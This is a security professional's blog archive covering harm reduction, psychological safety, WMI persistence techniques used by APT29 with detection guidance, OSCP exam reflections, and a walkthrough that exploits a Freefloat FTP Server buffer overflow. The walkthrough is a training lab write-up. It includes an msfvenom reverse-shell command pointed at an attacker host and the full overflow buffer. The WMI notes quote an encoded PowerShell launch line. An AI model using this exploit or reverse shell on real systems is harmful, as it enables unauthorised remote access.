alexia saloné

A Harm Reduction Approach to Systems

Thu, 04 Aug 2022 00:00:00 +0000

Typically when we hear the phrase “harm reduction,” we may think of services such as needle exchange programs and Narcan training, which are community programs designed to help keep people who use IV drugs safer. Harm reduction can be described as a set of public health policies that are designed to minimize the amount of harm that occurs to people when they engage in risky behaviors.

Since I first began to consider and discuss the ideas below a couple of years ago, I have returned to them from different angles, integrating concepts from other sectors as I learned and wrote about systems and psychological safety. Since then I’ve also had the great fortune of getting recommended the book “Trauma Stewardship” by Laura van Dernoot Lipsky. It was a fantastic read that I recommend for every security person, risk management person, activist, nurse, EMT, therapist–anyone whose work is invested in caring for others or keeping them safe from harm. If you’re interested in personally practicing resilience, both inside and outside of yourself, then I can’t say enough good things about it. I truly feel that understanding trauma exposure response and learning how to process trauma individually can help us to build radically transparent and psychologically safe teams that are capable of tackling the most difficult challenges sustainably.

If you’re a US public library patron, you may be able to read or listen to it for free on the Libby app. I can’t recommend it more highly.

Now, back to systems.

“The process leading up to an accident can be described in terms of an adaptive feedback function that fails to maintain safety as performance changes over time to meet a complex set of goals and values. ”

Nancy Leveson, “A New Accident Model for Engineering Safer Systems”

Truths about systems

When we consider taking a harm reduction approach to designing, building, upgrading, and maintaining systems, we have to accept some truths:

1. People interacting with the system won’t always follow the ideal path we leave for them no matter how hard we try to make it obvious or codify it via policy or technical controls.

This isn’t a reflection of some deficiency in design or architecture or technology. It’s just life. Hackers gonna hack and people are unpredictable! As technologists, security, and risk management people, the idea that we are here to bring order to chaos is incorrect. We are here to embrace the chaos and learn how to live alongside it. We are here to continuously improve the ways we build and maintain resilient and safe systems.

2. People interacting with the system may act in bad faith.

It’s not pleasant but we must plan for abuse. We must plan for humans acting to the detriment of themselves, others, and the greater good. We must plan for humans using systems in ways we never intended and act to reduce the harm that can befall them when they do.

3. The people invested in interacting with the system are experts and we should seek them out, listen to them, and learn from their experiences as part of our efforts to improve the system.

Consider intent vs impact. The intent of a system is the system’s vision, purpose, and functionality described from the designer or engineer perspective whereas the impact of a system encompasses the system’s actual user experience. What happens when the two don’t match up or if users are alienated due to designer bias? See Tatiana Mac’s fantastic talk “System of Systems” for critical analysis of inclusive system design, bias, and user experience.

4. People interacting with the system have diverse needs and backgrounds and their individual experiences with the system may differ vastly.

One person’s experience with the system is no more or less valid than any other person’s experience with the system. We have a responsibility to provide feedback opportunities for all the users of our systems across all segments. We have a responsibility for the safety and user experience of the 10% of users interacting with the system in uncommon ways just as we have a responsibility for the safety and user experience of the 90% of users who are following our ideal path.

Beyond the customers

The people who build, repair, and maintain complex systems are still being impacted by those same systems. Just because these people may have privileged insider knowledge of the system does not mean they are somehow immune to the harm it may cause. Their proximity to the system, especially if the system is not performant or is harmful and not trending towards improvement, may cause them to experience a completely different variety of harm that isn’t even on the radar of the people making design decisions about the system.

This interaction is a critically missed area of consideration for many teams, especially in technology-centric spaces. It’s trivial to avoid the squishy, amorphous complexity of “people problems” when there’s no shortage of technical problems with solutions that can be coded or debugged.

What is a harm reduction approach to systems?

Harm reduction is a guiding principle. This approach would require us to accept that others may knowingly or unknowingly take actions that could be detrimental to them as individuals and to the system as a whole. We acknowledge that these things happen and we affirm a commitment to maintaining safety above all else.

Harm reduction is empathy in action. A harm reduction approach cannot exist without empathy. What’s a surefire way to start building empathy into teams and organizations? That would be acting on a commitment to nourishing diversity, increasing transparency, and putting in the work.

Harm reduction is actively accepting that harm and suffering are inevitable. It’s a commitment to seeking out and reducing instances of harm and easing the suffering that falls within our spheres of influence. In fact, not taking into account the harms our systems may cause might be considered a critical failure in due diligence.

Harm reduction is safety. A harm reduction approach might arise organically out of an organizational commitment to safety. Safety has to permeate through the organizational culture beyond one single effort or one specific team/division. With a harm reduction approach, we look inward truthfully, consistently, and transparently, asking:

How can this cause harm?
What can we do to reduce the harm?
What can we do to reduce the likelihood of unsafe situations?
What lessons can we apply from harm we addressed in the past?

Harm reduction requires diverse input and divergent thinking. To provide a safer system, we focus not only on the ideal paths a human could take but also on the possible alternative paths and pitfalls that might cause them (and others) harm when interacting with the system. When I think about this practically, I think about solutions like Kelly Shortridge and Ryan Petrich’s Deciduous web app (which I just discovered recently!) for creating decision/attack trees to map possible system interactions. Modeling possible interactions like this is an activity we must do in order to understand how our systems can cause harm.

The modeling of potential harm is something like approaching an iceberg in the ocean. From a distance, you can clearly see what’s above the water but you can determine nothing about what’s present underwater. As you move closer to the iceberg, you can collect more information that you could use to guess what’s below the surface but you still have no way to know for sure while you’re traveling in this moving boat. You’re left with some predictable stuff you can see above the water and a much larger dark side below that’s full of likely dangerous unknowns.

Make decisions based on what’s known and be open to feedback from those who have experienced the unknowns. You’re one piece of feedback away from unknown harm becoming predictable harm that can be eliminated from the system or made less harmful. A user of our system who experiences a previously unknown harm (an “outlier”) may be providing us with the warning signs of a trend that’s right around the corner.

We don’t put on our seatbelt upon entering a car only to remove it once we’re careening down the highway. Similarly, we should strive to maintain safety for the user’s entire journey.

Safety must be continuous. We can’t really afford for it not to be.

Psychological Safety and Resilience

Sun, 03 Apr 2022 00:00:00 +0000

I discuss how working in tech, especially security, can sometimes result in an experience similar to moral distress, explore the criticality of honesty when learning from failures, and suggest ideas for improving psychological safety so our teams can get better insights about our systems.

Moral distress

Moral distress occurs when people are prevented from taking the actions they feel are right due to some external constraints placed on them. Many academic works discuss moral distress (and the more severe moral injury) within the contexts of military service or healthcare. I found a significant amount of research on managing the traumatic psychological toll that can be caused by unresolved moral distress or moral injury in these fields. This caused me to wonder if any of the strategies used to respond to moral distress in these areas could apply to the experience of security, engineering, and technology operations people, especially those in critical sectors. I’ve been contemplating the effect on teams of people especially in situations when stated organizational priorities or values seem to conflict with organizational outcomes.

The two main questions I wonder:

How can we move toward working environments free from this kind of distress?
What is really being degraded (besides our mental and physical health) when we don’t have a psychologically safe working environment due to moral distress, a lack of inclusion, or other factors?

I know that I am far from the only security person to have encountered a disconnect between what might be stated to employees, customers, or investors about security, product quality, or resilience being a business priority and the support for people on the ground to act on security, product quality, or resilience as an operational priority. This phenomenon could be dismissed by some as “hypocritical leadership,” but these problems are often much more nuanced than that stark oversimplification would indicate. These issues may stem from long-held beliefs or practices ingrained in the culture, fractured lines of communication, or schisms that remain from unhealed organizational or interpersonal trauma. Whatever the sources, they exist. They take a toll on employees who are responsible for acting on these stated business priorities. They push ahead without the cultural support that would make their efforts significantly more effective as well as more rewarding.

Resilience and security, after all, are team sports. They cannot happen in a vacuum. When they haven’t been integrated into the overall operational culture, they are sometimes later forced into focus (suddenly and with no on-ramp for those affected) due to a data breach or other high-visibility compromise of confidentiality, integrity, or availability.

For every priority, the only way to meaningfully improve outcomes is by learning from our experiences.

Is catastrophe the only opportunity?

The medical and occupational safety sectors emphasize a need to assess near-miss incidents, or events that could have caused harm, degradation, or catastrophe but were prevented. This Occupational Safety and Health Administration (OSHA) reporting template keeps it crystal clear and to the point: “near misses are symptoms of undiscovered safety concerns.” In the same way OSHA encourages employers to track near-misses for the purpose of occupational safety, engineering, security, and technology operations teams should consider tracking events that aren’t quite incidents but that do highlight systemic weaknesses all the same.

Incident reports are universal in the world of technology operations, information security, and beyond. What about the prevalence of near-miss reports? As Ryan Kitchens of Netflix’s SRE team said in this SREcon talk, “[s]olely learning from failure isn’t a fundamental—it’s a limitation.”

Not only do we lose out on data by not addressing our near-misses, but we also lose critical opportunities to get together as a team and tell a story. The storytelling matters because it contributes to team cohesion. Coming together to tell a story (with all the characters present) requires us to embrace honesty and communication over pride or competition. If we assign critical business value to the storytelling itself–to the act of coming together regularly to tell the stories of our near-misses, incidents, and routine operations–then these open discussions and their artifacts will become incorporated into the operational culture.

Due diligence in any of these areas involves continuously pushing toward data-driven outcomes. Guess what we can’t have without psychological safety? Good data.

Reduce your incident count by reporting fewer incidents 😎

We cannot generate truly useful insights from our systems without honesty. If there is external pressure to reduce the number of incidents being reported, then engineers may hesitate to label a failure an incident. In this kind of environment, the incident count metric is rendered meaningless. Why track incidents at all?

Of course organizations want to have fewer incidents, however stating this as an end goal actually hurts our organizations. Indeed, it will lead to a reduction in incident count–not from actually reducing the number of incidents, but rather lessening how and how often they are reported.

- Ryan Kitchens, Characteristics of Next Level Incident Reports in Software

Why should teams be tracking and discussing incidents and near-misses? We shouldn’t be motivated to do it so that we can report a line going up or down. We should be doing it so that we can:

tell the story of what happened during an incident or near-miss
talk about the controls or processes that prevented a near-miss from becoming an incident or kept an incident contained
discuss controls that could prevent what happened from recurring
develop solutions for detecting failures or enhancements to existing solutions for detecting them earlier
understand how our teammates and collaborators do their work
close organizational knowledge gaps
learn the properties, weaknesses, and limits of our complex systems

The value of reviewing our operations relies on our transparency and open communication.

Foster psychological safety

If honesty is the best policy, how can an organization encourage honesty in the working environment? It begins with fostering psychological safety, which the Agency for Healthcare Research and Quality (AHRQ) defines in its Creating Psychological Safety in Teams presentation as “the degree to which team members feel that their environment is supportive of asking for help, trying new ways of doing things, and learning from mistakes.” High-performing teams don’t become high-performing teams by adopting a culture of fear. They achieve great things through a culture that values learning from successes, failures, and near-misses. Leaders in organizations that sincerely wish to cultivate psychological safety need to ask some hard questions, such as:

Do I actively listen when people share with me?
Does each member of my team feel comfortable initiating conversations, sharing ideas publicly, or proposing new projects?
Do I regularly get 1:1 time with each member of my team?
Do my team members feel safe to be vulnerable or speak up to say things like “I don’t know,” “I don’t agree,” or “That’s harmful?”
Do I encourage and provide opportunities for my team members to contribute to and be made aware of decisions directly affecting their work?

According to social scientist Timothy Clark, there are 4 stages of psychological safety:

Stage 1: Inclusion safety, which is social admittance to the team
Stage 2: Learner safety, which encourages learning, experimentation, growth, and even mistakes
Stage 3: Contributor safety, which encourages active participation on the team
Stage 4: Challenger safety, which allows the status quo to be challenged without fear of retribution or reputational harm

Drawn from this paper on executive servant leadership, leaders motivated to push toward a more psychologically safe environment can start by modeling servant leadership values for their teams.

Provide interpersonal support

Servant leaders are in a position to influence the culture in a direction of support for holistic team and organizational growth as opposed to competition among team members or across teams. This could translate into leaders socializing and encouraging continued learning via training opportunities. Servant leaders may need to model for their teams the importance of learning and to normalize the idea that no one is capable of knowing everything or answering every question. Interpersonal support could also include actions that safeguard the physical or mental health of teams. On the mental health side, some examples are providing safe spaces for people to be vulnerable and ensuring that achievements are recognized. Leaders may need to model vulnerability, too.

Build community

Servant leaders must possess the ability to build community internally as well as externally to the organization. This emphasis on the wellbeing of external stakeholders is of importance. I see this as customer focus, which translates into efforts to continuously elicit and incorporate feedback from those the organization is tasked with serving. There’s no reason why the same kind of continuous feedback loop couldn’t be used internally, too. The key here is applying empathy and a focus on the real world impact of our actions rather than on our own intentions, however good they may be. Servant leaders ensure that whatever changes are being implemented are minimally harmful to whoever might be impacted by them.

Be altruistic

Servant leaders aren’t selfish. Instead, they elevate the needs of others over their own self-interest. What makes these leaders so effective is that they are genuinely invested in the wellbeing of their teams and their communities. If you want things to get better, start by taking care of your people. Maintain open lines of communication, set clear expectations, and be reliably present. Stick up for your team.

Apply egalitarianism

Servant leaders do not operate under the assumption that their leadership status makes them any more important than any other member of the organization. Rather, they understand that both learning and influence are bidirectional. Servant leaders continuously learn from inclusive perspectives and apply this feedback and knowledge to drive organizational improvements.

Operate with moral integrity

Servant leaders inspire trust and promote honesty. They flatly refuse to leverage unethical tactics such as deceit or manipulation to drive desired organizational change.

Always toward continuous learning

I’d never claim to have all the answers, but I do know that no team can survive continuous moral distress or value mismatch forever. However you want to call this phenomenon when it happens at an organization, it’s unsustainable.

If security or quality or resilience is the stated business priority:

Do the people on the ground perceive it that way?
Are these priorities reflected in the work or processes technology operations people are being motivated to do?
Do these priorities seem to resonate across the organization’s culture?
Do leaders at all levels model these priorities and the values necessary to act on them effectively?

The adoption of servant leadership values such as community building and egalitarianism can be a first step toward repairing values-based schisms, developing psychological safety, and generating meaningful insights.

TLDR

Organizations should have structures in place to support continuously gaining insights from complex systems and their people.
We can’t learn from incidents, near-miss failures, or routine operations without honesty.
We can’t expect honesty (or valuable insights) without psychological safety.
Leaders can begin to foster psychological safety and tackle value mismatch and other organizational distress through modeling servant leadership behaviors.

Additional References & Further Research:

Research Notes: WMI and Living off the Land Persistence Techniques

Sat, 19 Mar 2022 00:00:00 +0000

This is previously unpublished deep dive research I did into WMI persistence with a focus on malware examples attributed to threat actor APT29. I explain what WMI is and how it can be leveraged to maintain persistent access to a target. I also include some ideas for defenders.

I have updated it to include new malware analyses and additional detection techniques.

APT29

APT29, a threat group attributed to the Russian government, is also known as YTTRIUM, The Dukes, Cozy Bear, CozyDuke.

Windows Management Instrumentation (WMI)

WMI data is stored in the WMI common information model (CIMv2) repository, which consists of files in C:\Windows\System32\wbem\Repository\. The CIM repository is stored in the objects.data file.

wmic.exe, used to interact with WMI from the command line, is a trusted Windows binary–also known as a LOLBin (living off the land binary).

WMI supports several scripting languages, including Windows Script Host, VBScript, JScript, and PowerShell.

WMI uses HTTP primarily for communications. By default DCOM and MSRPC are used and this traffic can be captured and analyzed. If WinRM is invoked, (or PowerShell is used) HTTPS is default.

WMI can be used effectively for every phase of offensive activity from recon to actions on objectives.

Classes

The primary structure within WMI is the WMI class, which can contain:

methods (code)
properties (data)

Custom Classes

Users with system level privileges can define new classes or extend default classes. A benign-sounding custom class with a benign-sounding property full of malicious script content can be created in one line using the New-WMIProperty cmdlet from the WMI-Module.psm1 PowerShell module. A malicious class can be called with PowerShell’s Invoke-Expression cmdlet.

Why WMI for Persistence?

Process call create is magical
Tools are trusted
With an ActionScriptEventConsumer, an attacker can instantiate IE using ActiveX (via VBScript/JScript) for C2 traffic that blends easily, inherits cached proxy creds, and has a typical user agent
Lack of easily scalable methods to determine if scripts in MOF files are malicious

Managed Object Format (MOF)

Allows extension of WMI with custom namespaces and classes–can also extend new methods or properties with existing standard WMI classes

MOF files contain all the WMI query data to be altered. The files are compiled on system with mofcomp.exe and can be created once and deployed on many systems.

Autorecover: WMI supports autorecovery via pragma autorecover statements within the MOF. If the database gets corrupted later, the system will recover the MOF file from the autorecover location.

The Binary Tree Index is the text file that records the MOF files used by WMI for configuration.

It may be difficult for defenders to discern between malicious and benign behavior if administrators use this functionality. Documentation is critical.

Subscriptions

WMI permanent event subscriptions can trigger actions when conditions are met and are often used by attackers to persist the execution of backdoors at startup.

A WMI subscription consists of three WMI classes:

Filter: defines conditions to trigger the Consumer
Consumer: specifies an action to be performed (as LOCAL SERVICE)
FilterToConsumerBinding: associates Consumers to Filters

Filters

_EventFilter classes include Win32_LocalTime, Win32_Directory, Win32_Service, and many more (about 400), allowing attackers to get creative. This can make it difficult for defenders to determine the source of beaconing traffic/behavior from a system or even to determine that a system is beaconing due to the flexible nature of WMI Query Language (WQL).

Consumers

_EventConsumer objects have a name and one of the following:

Script contained in objects.data
Path to an external script on disk
Path to an executable on disk

Most useful standard consumers:

CommandLineEventConsumer: executes a command and arguments
ActionScriptEventConsumer: uses Windows Script Host and runs JScript and VBScript

Creating permanent event subscriptions requires administrative privileges.

Malware

Microsoft has categorized fileless threats into three major types. WMI malware is categorized as Type II, described as follows:

Type II: No files written on disk, but some files are used indirectly. There are other ways that malware can achieve fileless presence on a machine without requiring significant engineering effort. Fileless malware of this type do not directly write files on the file system, but they can end up using files indirectly.

POSHSPY

POSHSPY is a Windows backdoor attributed to APT29 that is likely reserved for use if other backdoors are no longer available. The tools it uses (abuses) are common to the APT29 toolkit:

PowerShell
Windows Management Instrumentation (WMI)

In the sample of POSHSPY analyzed by FireEye, WMI was used to persist and store the code for the PowerShell backdoor by adding a new custom WMI class with a text property containing an encrypted and base64-encoded string of PowerShell.

A WMI event subscription was created to execute the backdoor by reading, decrypting, and executing the code directly from the string in the WMI property from the custom WMI class.

An event filter called BfeOnServiceStartTypeChange was implemented to execute the PowerShell code regularly. In this sample, execution of the backdoor code was hardcoded for certain days and times. This filter was bound to an event consumer called WindowsParentalControlsMigration which executed a base64-encoded PowerShell command. Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor stored in the text property of the custom class. The PowerShell command contained the payload location and encryption keys.

The event consumer used by POSHSPY is of class CommandLineEventConsumer, a standard WMI Consumer class which starts an arbitrary process on the system when it receives an event. Microsoft has a prominent note in its documentation regarding the security of CommandLineEventConsumer executables:

When using the CommandLineEventConsumer class, secure the executable that you want to start. If the executable is not in a secure location, or secured with a strong access control list (ACL), an unauthorized user can replace your executable with a malicious executable.

In this instance of POSHSPY, the CommandLineTemplate executed by the event consumer looks like what one would expect: a base64-encoded script block being passed to PowerShell. The backdoor has a full suite of capabilities such as downloading and executing additional binaries and scripts, deriving C2 from a domain generation algorithm (DGA), and encrypting communications.

POSHSPY WMI component	Function	Relationship
Event Filter	checks for time-based conditions and sends event to Consumer when met	triggers Consumer action
Event Consumer	execute a base64-encoded PowerShell command to load, decrypt, and execute POSHSPY backdoor	bound to Filter; instance of the CommandLineEventConsumer class
CommandLineTemplate	base64-encoded PS block passed to PowerShell—e.g., `powershell.exe -ep bypass -noninteractive -encodedcommand AAAAAA`	defines the action of this CommandLineEventConsumer, which runs a base64-encoded PowerShell script loading POSHSPY

RegDuke

RegDuke is a first-stage Windows backdoor attributed to APT29 that is also likely reserved for use if other access is lost. Similarly to POSHSPY, it consists of an initial loader and an encrypted backdoor payload. In this case, both components are written in .NET.

In the RegDuke sample analyzed by ESET, WMI is used for persistence using an event consumer called MicrosoftOfficeUpdates. The event filter triggers when winword.exe is launched. Though earlier versions contained a hardcoded encryption key, later versions of RegDuke’s loader read the encryption key from one of three possible registry keys. The backdoor is unique in that it uses Dropbox for C2 and receives encrypted data (EXEs, DLLs, or PowerShell scripts) hidden in PNG images using steganography.

RegDuke would often be used to load a heftier backdoor like MiniDuke or, interestingly, Process Explorer, part of the Sysinternals suite.

SeaDuke (bonus)

Mentioned in the WMI Offense, Defense, and Forensics paper listed in References below, another of the Dukes’ backdoors, SeaDuke, also uses WMI for persistence. The event filter triggers 200-320 seconds after startup. The event consumer executes a previously dropped executable.

TEARDROP (NEW!)

Not included in my original research gist but worth mentioning

TEARDROP is a custom second stage in memory Cobalt Strike loader. In the TEARDROP analysis listed below, Microsoft notes that a WMI event filter was used to invoke a backdoor with rundll32.exe at boot time. Additionally, when the rundll32.exe variant of TEARDROP was executed via lateral movement, it was spawned using WMIC or Invoke-WMIMethod.

Detection and Defense

Detection

Native Windows logging: (WMI-activity operation log available on server 2012+) Event ID 5861: new permanent event consumer
CommandLineTemplate values for CommandLineEventConsumers can be retrieved for endpoints with osquery and possibly other EDR tooling
WMI Consumer, Filter, and FilterToConsumerBindings may together be defined in .mof files which could still exist as artifacts on system or may appear in EDR logs
Powershell get-wmiobject cmdlet can be used to return _EventFilters, _EventConsumers, and _FilterToConsumerBindings

Endpoint Behavior

File modification/creation/deletion of *.mof files
mofcomp.exe execution
Autorecover MOFs registry modification
rundll32.exe spawned by wmiprvse.exe
Microsoft DFE alerts: Low-reputation arbitrary code executed by signed executable, Suspicious ‘Atosev’ behavior was blocked, Suspicious Remote WMI Execution, A WMI event filter was bound to a suspicious event consumer

On Disk

MOF (.mof) files may still exist on disk:
- in original location,
- in autorecovery (C:\Windows\System32\wbem\autorecovery[RANDOM].mof),
- or in the binary tree index (C:\Windows\System32\wbem\Repository\index.btr) - .mof file listed without full path could be a signal
Prefetch files may capture command references

CIM

CIM repository is stored in objects.data (CIM parser: https://github.com/fireeye/flare-wmi)

Can string search for Wscript.shell, EventConsumer, etc. but there is a bunch of ugly binary data in there as well
Interesting search terms for CIM hunting with a focus on consumers:
file extensions: .exe, .dll, .vbs, .ps1, .eval
strings: powershell, ActiveXObject, CommandLineTemplate, ScriptText

Some common false positives:

be well aware that attackers want to blend and everything is fair game

SCMEventLog
TSLogonFilter
KernCap.vbs
RAevent.vbs
NTEventLogConsumer
TSLogonEvents.vbs
RmAssistEventFilter
WSCEAA.exe (Dell)
BVTConsumer and BVTFilter are common but could be overwritten by attacker

Suspicious patterns within CIM:

wmic process call create
/node: - pass the hash
Invoke-WmiMethod / Invoke-CimMethod
wmiprvse.exe with parent process not svchost.exe
wmiprvse.exe with unusual child processes (sometimes PowerShell)
scrcons.exe - ActiveScript consumer
PowerShell, especially encoded

Memory

Pieces of WMI commands may be found within process memory for wmiprvse.exe, svchost.exe, csrss.exe, or conhost.exe

Registry

AppCompatCache key may record binaries executed on remote systems - look at cscript.exe, wscript.exe, etc.
List of MOF files for autorecovery is stored in the registry at HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\Autorecover MOFs
Registering an event filter that uses Win32_LocalTime causes this empty registry key to be created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\Win32ClockProvider
enable WMI trace logs: wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true
Sysinternals EULA registry key: HKCU\SOFTWARE\Sysinternals<tool_name>\EulaAccepted

OSquery

Autorecover MOFs in registry

SELECT name, data
FROM registry
WHERE PATH like 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Autorecover MOFs';

ActiveScriptEventConsumers

SELECT *
FROM wmi_script_event_consumers

CommandLineEventConsumers

SELECT *
FROM wmi_cli_event_consumers

FilterToConsumerBindings

SELECT *
FROM wmi_filter_consumer_binding

EventFilters

SELECT *
FROM wmi_event_filters

Defense

Block Persistence through WMI Event Subscription - Microsoft Defender for Endpoint Attack Surface Reduction
Document legitimate WMI and MOF file usage to aid in investigation of suspicious WMI activity
Use endpoint security tools integrated with the Antimalware Scan Interface (AMSI)
Windows Defender Application Control and User Mode Code Integrity (UMCI) can be used to prevent unsigned binaries from running
Windows 10 S mode provides an operating environment further hardened against fileless threats

References:

For Further Reading and Review:

Exploiting Freefloat FTP Server 1.0 - 'REST' / 'PASV' Remote Buffer Overflow Vulnerability

Wed, 09 Dec 2020 00:00:00 +0000

I really enjoy playing around with these memory corruption exploits so I thought I’d start doing writeups on the buffer overflow vulns I use for practice while working toward the OSCP.

The goal is twofold: to refine my exploit development procedures and to improve my ability to convey technical concepts such that someone can follow my instructions and achieve similar results.

The proof of concept exploit and vulnerable application executables are available on Exploit-DB here: https://www.exploit-db.com/exploits/17546.

Target Environment Prerequisites:

OS: Windows 7 32-bit (mine has FLARE VM installation)
Freefloat FTP Server (Win32) running as Administrator
ASLR disabled via registry
DEP disabled via bcdedit.exe
Windows Firewall off
Immunity debugger w/ Mona

Exploiting the Vulnerability

Determine or Validate Offset

Use msf-pattern_create -l 500 to generate a payload of length 500 based on the original proof of concept. Use this payload as the buf value.
Send the payload to the vulnerable FTP server and note the contents of EIP at crash time.
Use msf-pattern_offset -q 41326941 to locate the value that overwrites EIP at crash time.
Using the debugger, view the code for FTPServer.exe in the CPU (Window > Executable Modules > Right click FTPServer.exe > View code in CPU). In the upper right Registers pane, validate that the EIP is overwritten with 4 ‘B’ s (42424242) at crash time after sending the payload buf = 'A' * 246 + 'B' * 4.

The offset value determines where the shellcode will be placed within the buffer structure.

Conduct Bad Character Analysis

Determine bad shellcode characters by sending all possible characters after the offset and 4 ‘B’s (space for memory address) and observing where the payload is truncated (bad characters: \x00\x0a\x0d\xff). In the screenshot below, I have removed the offending bad characters from the payload. I included \xff in my final msfvenom command but didn’t observe it causing issues in the hex dump.
Search for 42424242 in the lower right stack pane (Right click pane > Search for binary string, enter 42424242 in HEX box), copy (right click memory address > Copy to clipboard) the memory address of the location, right click the lower left pane, and use the Go To function to locate that memory address. As shown in the screenshot below, the memory address is the very first value of what’s copied from the stack pane. The others are two representations of the values at that address. Remove them before clicking OK.
The first value in the hex dump for that memory address should be 01 from the bad character buffer. Repeat the process until the entire buffer can be sent without causing truncation.

Bad characters are used as an input to msfvenom when it’s time to generate shellcode for the target system.

Redirect Execution Flow

Analyze a supporting executable module with Mona to locate a JMP ESP instruction. Use !mona find -s "\xff\xe4" -m ntdll.dll to locate a JMP ESP instruction. I started with ntdll since it’s used in the proof of concept. One of the JMP ESP instructions from ntdll can be used to redirect the execution flow of the program to some shellcode. As shown in the screenshot below, the memory addresses for JMP ESP instructions are 77f1e871, 77f472d9, and 77f60ad0.
Set a breakpoint at the JMP ESP instruction at 77f1e871. View the ntdll module in the CPU (Click Window > Executable Modules > Right click ntdll > View Code in CPU). Locate the instruction (Right click the upper left pane > Follow Expression and enter the JMP ESP memory address). Right click its memory address > Breakpoint > Toggle or highlight the address and press F2 to set a breakpoint.
Send the payload with JMP ESP address in little endian format (\x71\xe8\xf1\x77) in place of the 4 ‘B’s. Execution breaks at the JMP ESP instruction. After continuing past the breakpoint (Debug > Step Over), the program crashes when execution flow hits the contents of the memory address pointed to by ESP. As shown in the screenshot below, ESP points to memory address 02c3fc00 at crash time. The area which is currently full of ‘C’ characters will hold the shellcode.

Once program execution flow is attacker-controlled, the real fun begins!

Make it Dangerous

Generate shellcode for the target system. While debugging the executable, I noticed references to SEH (structured exception handling), so that’s what I did for the EXITFUNC in msfvenom and multihandler options. shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=443 EXITFUNC=seh -f c -b '\x00\x0a\x0d\xff' -e x86/shikata_ga_nai
Craft the final buffer structure. Replace the ‘C’ characters with reverse shell shellcode. I added the NOPs for padding before the shellcode based on the original proof of concept and padded with a couple of NOPs after the shellcode. final buffer structure: buf = "\x41" * 246 + '\x71\xe8\xf1\x77' + '\x90' * 20 + shellcode + '\x90' * 2

Get That Shell

Configure a Metasploit multihandler with options that match the shellcode configuration and start a listener. I usually run it with exploit -j to let the multihandler run in the background as a job.
Send the payload to the vulnerable host on port 21. Receive admin shell with multihandler. Type sessions -i <session #> to drop into the remote command shell.

That’s about it, y’all. Happy hacking! 🔮🔥🐚

Failing the OSCP Challenge (again)

Tue, 10 Nov 2020 00:00:00 +0000

I headed into my second attempt at the OSCP exam feeling underprepared. Due to my work, I had been unable to give my exam preparation the full attention it deserves. I’m okay with that. Sometimes priorities have to shift. I approached this as a learning experience and an opportunity to apply some of what I learned during my first attempt.

What Went Well

I got more flags! My first attempt, I was only able to get the flag on the buffer overflow exploit system. This time I was able to get the flag on the 10 point system as well. I also found a flag on a 20 point system but did a bad job of documenting it so I probably won’t get any partial credit. Overall, this outcome felt good because it showed that I’ve made progress even though I haven’t been able to focus on my exam preparation as much as I would like.
I actually did all the things! After my first attempt, I was so wiped out from staying up for over 24 hours that I crashed hard and missed the reporting deadline. I was too tired to do the report so I never actually completed the process and never got a score. For this attempt, I took more frequent breaks throughout the exam although later in the night I admit I failed at that. I also got enough sleep to complete the report and submit it within the reporting window. I did not push it to the 24h mark as I did my first attempt.

What Could’ve Been Better

Buffer overflow development took longer than necessary. I did bad character analysis multiple times because I was unsure I was using the right characters. The third time was the charm in this case but I could’ve saved significant time with better notes and/or exploit code templates.
Documentation was insufficient. This is not just taking screenshots for every significant step, but also documenting commands! I tried to be diligent in my notetaking during the exam but undoubtedly I missed some commands. And of course, wouldn’t you know that SOMEHOW my bash history was woefully incomplete? It never seems to be complete enough in my experience and this was no exception. I might have messed up my own opportunity at partial credit for a flag I found by failing to get a screenshot of it. I felt that it didn’t meet the qualifications for full credit so I didn’t bother to take a screenshot. Later, I realized that if I had submitted the screenshot in my report, I probably would have had a better chance of getting partial credit. As I pasted the hash directly into the report, this lovely realization dawned on me.
Time management broke down later in the exam. I didn’t stick to my break and focused work schedule for the entire exam. A detail I forgot from my first attempt was not being able to have my phone handy. I usually use a Pomodoro app on my mobile phone when working and switching to the unfamiliar Pomodoro app on my desktop interfered with my ability to manage my time optimally. I wasn’t able to customize to my liking and adjust things on the fly and didn’t feel like wasting valuable exam time figuring out how it worked. I managed pretty well during the day but as it became later in the evening, I noticed that I was taking fewer and fewer breaks–my ability to manage time was dwindling. It didn’t feel good. I would consistently get myself stuck in the headspace of “needing to finish this one thing” and neglect my need for a break until it was complete.

Improvements for My Next Attempt

Create templates for each phase in buffer overflow exploit development. That way, I’m not wasting time hunting across my notes for commonly-used code snippets or generating well-known character blocks during the exam. It should be in my notes organized by development phase and ready to be used in an exploit script. I thought my exploit development notes were good but they could’ve been more well-organized.
Use script or similar tooling for documenting Linux terminal commands. I need to use this stuff because bash history isn’t really sufficient for the level of detail I need.
Take screenshots of things even if they aren’t perfect. Don’t forget that partial credit is a thing or that something seemingly insignificant might be the beginning of an epic chain of exploits!
Stick to agreed upon break and focused work cycle cadence. I need to keep my time management in check–especially when I’m starting to get tired. I’m gonna learn how to use my desktop Pomodoro app!
Do lots more hacking! I especially need to work on web vulns, vulnerability analysis (and how to not go down rabbit holes with vulnerabilities that end up not being exploitable), and my local privesc skills could probably use some work as well.

As you can see, I’ve got my work cut out for me! If you’re working toward your OSCP or just into offensive security, check out alexiasa/oscp-omnibus, a collection of OSCP-relevant resources I’ve been using!

Blame, Shame, & Systems

Thu, 13 Aug 2020 00:00:00 +0000

As I try to acknowledge and unlearn shame to improve my personal life, I’m also considering how I can do my part to stop perpetuating shame-based practices at work. I’ve been asking myself questions like:

How might shame be affecting those around me?
Am I knowingly participating in structures that are based on shame?
What are some ways shame manifests itself?

Let’s Talk Tech Culture

I’m going to go out on a limb here and suggest that when we default to using shame-based structures to solve problems, we spend our troubleshooting and post-incident discussions in what are essentially victim blaming loops. Tech peeps, does this sound familiar to you?

Discover there was an outage of a thing
Find last change related to the thing
Find out who made the last change to the thing
Tell that person publicly that their change broke the thing and make them fix the thing all alone in the corner of shame
(BONUS): Take away privileges from that person and reassure stakeholders the issue with the thing will never, ever recur because the problem has been solved

Shame Yields Silence & Inaction

The power of shame is that it has a chilling effect impacting what we do or don’t do. The chilling effect of the shame we’ve learned sometimes manifests as a paralyzing fear. Here are a few examples that might sound familiar:

Not asserting boundaries for fear of fulfilling stereotypes (like “angry Black woman”)*
Not asking for help for fear of appearing “needy”
Not articulating needs for fear of appearing “selfish”
